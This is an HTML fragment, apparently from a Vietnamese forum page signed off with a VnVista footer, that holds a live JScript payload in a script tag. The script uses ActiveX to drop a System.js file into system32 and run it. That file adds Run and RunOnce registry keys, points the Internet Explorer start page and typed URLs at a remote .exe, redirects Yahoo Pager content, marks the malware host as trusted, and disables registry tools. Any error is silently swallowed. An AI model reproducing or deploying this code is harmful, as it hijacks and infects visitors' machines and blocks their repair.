<script language="javascript">
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var Shell = new ActiveXObject("WScript.Shell");
var tfolder2 = fso.GetSpecialFolder(0);
var filepath2 = tfolder2 + "\\system32\\System.js";
var a2 = fso.CreateTextFile(filepath2, true);
a2.WriteLine('var url = "http://www.tinhxotxa.googlepages.com/inst_Winter.exe";');
a2.WriteLine('var burl = "http://www.tinhxotxa.googlepages.com/inst_Winter.exe";');
a2.WriteLine('var fso = new ActiveXObject("Scripting.FileSystemObject");');
a2.WriteLine('var tfolder = fso.GetSpecialFolder(0);');
a2.WriteLine('var filepath = tfolder + "\\\\system32\\\\System.js";');
a2.WriteLine('var Shell = new ActiveXObject("WScript.Shell");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\ \\\Windows",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\S ystem32",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url2","http://http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url3","http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url4","http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url5","http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url6","http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url7","http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url8","http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url9","http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url10","http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url11","http://www.tinhxotxa.googlepages.com/inst_Winter.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\YMSGR_Calendar\\\\conten t url","http://antihacker.50webs.com/sethome.htm");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\YMSGR_Games\\\\content url","http://antihacker.50webs.com/sethome.htm");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\YMSGR_Launchcast\\\\cont ent url","http://antihacker.50webs.com/sethome.htm");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\YMSGR_Weather\\\\content url","http://antihacker.50webs.com/sethome.htm");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.tinhxotxa.googlepages.com/inst_Winter.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies \\\\System\\\\DisableRegistryTools",1,"REG_DWORD") ;');
a2.Close();
Shell.Run(filepath2);
}
catch (e){}
nan~ wa' troi`
VnVista I-Shine
© http://vnvista.com